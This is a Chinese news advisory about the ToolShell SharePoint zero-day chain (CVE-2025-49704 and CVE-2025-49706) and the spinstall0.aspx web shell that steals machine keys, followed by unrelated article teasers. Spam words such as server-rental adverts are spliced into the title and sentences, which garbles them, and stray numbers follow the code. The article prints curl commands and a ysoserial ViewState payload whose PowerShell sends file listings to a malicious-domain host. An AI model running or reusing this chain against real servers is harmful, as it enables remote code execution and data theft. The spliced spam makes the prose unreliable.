工具链漏洞预警：全球活跃利用中的SharePoint新型零日RCE攻击链
我要评论
图片来源 ：CODE WHITE GmbH
2025年7月18日晚间，工具攻击Eye Security安全团队发现一起大规模利用新型Microsoft SharePoint远程代码执行（RCE）漏洞链的链漏链攻击活动 ，该漏洞链被命名为ToolShell。洞预的攻击者通过组合利用CVE-2025-49704和CVE-2025-49706两个漏洞 ，警全可在无需认证的球活情况下完全控制本地部署的SharePoint服务器。
"这并非凭证泄露问题 ，跃利用中而是服务器租用新型零已被武器化的Pwn2Own漏洞利用代码在野利用" ，Eye Security特别强调 。工具攻击
漏洞技术细节ToolShell攻击链包含两个关键漏洞 ：
CVE-2025-49706（CVSS 6.3） ：SharePoint服务器欺骗漏洞CVE-2025-49704（CVSS 8.8） ：通过ToolPane端点触发的链漏链SharePoint RCE漏洞初步分析认为攻击需要有效凭证 ，但深入调查显示实际无需任何认证 。洞预的报告指出 ："对/_layouts/15/ToolPane.aspx的警全POST请求特征非常明显...我们确信攻击全程未使用任何凭证" 。
攻击手法分析攻击基于Code White GmbH曾在Pwn2Own上演示的香港云服务器球活概念验证代码 ，现已被完全武器化。跃利用中成功利用后 ，新型零攻击者可直接植入隐蔽的工具攻击ASPX恶意负载而无需登录 。已观测到的恶意文件spinstall0.aspx疑似基于Sharpyshell开发 ，其设计目的并非直接执行命令，而是云计算窃取加密机器密钥 。
"这不是典型的网页后门...该页面通过调用.NET内部方法读取SharePoint服务器的MachineKey配置"，研究人员解释 。这些密钥（如ValidationKey和DecryptionKey）用于生成有效的__VIEWSTATE令牌——这是ASP.NET的核心安全机制 。高防服务器获取密钥后 ，攻击者可使用ysoserial等工具签署恶意负载实现完全远程代码执行 。
复制# 通过任意公开SharePoint页面获取<VIEWSTATE_GENERATOR> curl -s https://target/_layouts/15/start.aspx | grep -oP __VIEWSTATEGENERATOR" value="\K[^"]+ # 生成viewstate攻击负载示例 ysoserial.exe -p ViewState -g TypeConfuseDelegate \ -c "powershell -nop -c \"dir C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\TEMPLATE\LAYOUTS | % { Invoke-WebRequest -Uri (http://malicious-domain/?f= + [uri]::EscapeDataString($_.Name)) }\"" \ --generator="<VIEWSTATE_GENERATOR>" \ --validationkey="<VALIDATION_KEY>" \ --validationalg="<VALIDATION_ALG>" \ --islegacy \ --minify # 将生成的令牌附加至请求即可执行命令(RCE) curl http://target/_layouts/15/success.aspx?__VIEWSTATE=<YSOSERIAL_GENERATED_PAYLOAD>1.2.3.4.5.6.7.8.9.10.11.12.13.14."这些负载可嵌入任意恶意命令 ，并被服务器视为可信输入 ，最终在无需凭证的情况下完成RCE攻击链" ，报告补充道 。
影响范围与响应措施Eye Security扫描了8,000余台暴露在公网的SharePoint服务器 ，模板下载发现数十台已遭入侵 。通过分析160字节的独特响应特征和spinstall0.aspx端点可识别受影响系统。
截至7月19日 ，Palo Alto Networks Unit 42确认攻击仍在持续 ，观测到攻击者 ：
通过PowerShell投放恶意ASPX负载窃取机器密钥建立持久化访问从可疑IP（如96[.]9[.]125[.]147）执行攻击模块微软已发布紧急补丁和安全指南 ，建议本地部署SharePoint的用户立即采取以下措施 ：
安装7月补丁星期二发布的最新SharePoint更新扫描入侵痕迹 ，重点检查/ToolPane.aspx和/spinstall0.aspx路径检查加密密钥是免费模板否泄露 ，如已失窃需立即重新生成监控HTTP(S)外联连接和反向Shell活动相关文章
如同世界正在经历的疫情，由于网络攻击的大幅增加，许多公司也遭受着“网络疫情”，保障代码安全迫在眉睫。阅读本文，将带您了解如何在代码发布到 GitHub 之前最大化安全权限，及查看创建计划来锁定 Gi2025-12-07
全球首例零点击攻击瞄准Microsoft 365 Copilot
该漏洞由 Aim Security 发现，是首个记录在案的针对 智能体的零点击攻击，揭示了我们日常使用的 AI 工具中潜藏的无形风险。只需一封精心设计的电子邮件就足够了，Copilot 会默默地处理它2025-12-07
新版BIOS设置教程（快速了解如何利用新版BIOS优化电脑性能，提升用户体验）
BIOSBasicInputOutputSystem）是计算机系统中一个关键的软件，它负责初始化硬件设备并加载操作系统。随着技术的进步，计算机硬件日新月异，因此BIOS也需要不断更新。本文将详细介绍如2025-12-07
小新开机装系统教程（小新开机装系统教程，让你的电脑与众不同）
随着科技的不断发展，电脑已经成为人们生活中必不可少的工具之一。然而，在购买新电脑后，许多人往往被预装的操作系统束缚住了自己的个性化需求。在本教程中，我们将为您介绍如何以小新开机装系统，轻松快速搭建个性2025-12-07
哈喽大家好，我是咸鱼。我们知道 SSL 证书是会过期的，一旦过期之后需要重新申请。如果没有及时更换证书的话，就有可能导致网站出问题，给公司业务带来一定的影响。所以说我们要每隔一定时间去检查网站上的 S2025-12-07
许多企业专注于产品和服务，这些产品和服务使其可以更轻松地构建和运营数据中心并实现内部私有云。很多组织的首席信息官最近提出一些问题：首席信息官对数据中心的看法如何?冠状病毒疫情危机是否改变了他们在运行数2025-12-07
最新评论